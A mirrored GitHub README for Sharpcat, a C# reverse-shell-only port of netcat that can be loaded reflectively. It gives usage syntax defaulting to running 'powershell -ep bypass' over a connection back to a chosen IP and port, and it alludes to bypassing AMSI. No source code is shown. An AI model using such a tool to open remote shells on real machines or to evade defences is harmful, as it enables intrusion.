Giter VIP home page Giter VIP logo

sharpcat's Introduction

Sharpcat

A port of classic netcat to C#

This is my first attempt at writing C# stuff, so if you thing this code is bad, I am open to constructive improvement suggestions.

This is a reverse shell only netcat and as it is written in C#, it can be loaded reflectively. It is based on the netcat windows code and I ported the do_exec.c file to C# as best as I could.

You can call Sharpcat in a few different ways:

  • Sharpcat, no parameters, use the default IP address, port number and command (powershell -ep bypass)
  • Sharpcat IPaddress Port, make a reverse connection to IPaddress and port, run the powershell -ep bypass as shell
  • Sharpcat IPadress Port "command with parameters", make a reverse connection to IPaddress and port, run the command (e.g. "cmd.exe")

The bulk of it all is in Exec.cs, it is a shameless port of the do_exec.c from netcat. The command will be started as a sub process, with stdin, stdout and stderr redirected through a pipe to Sharpcat. Sharpcat will then tunnel the pipe through the network socket to the remote end. This remote end could be a netcat or something else.

Not much more to it. If you want to bypass AMSI and other stuff, you can use a Powershell based reflective loader (left as an exercise for the reader).

That is more or less it...

TheArt42

sharpcat's People

Contributors

theart42 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.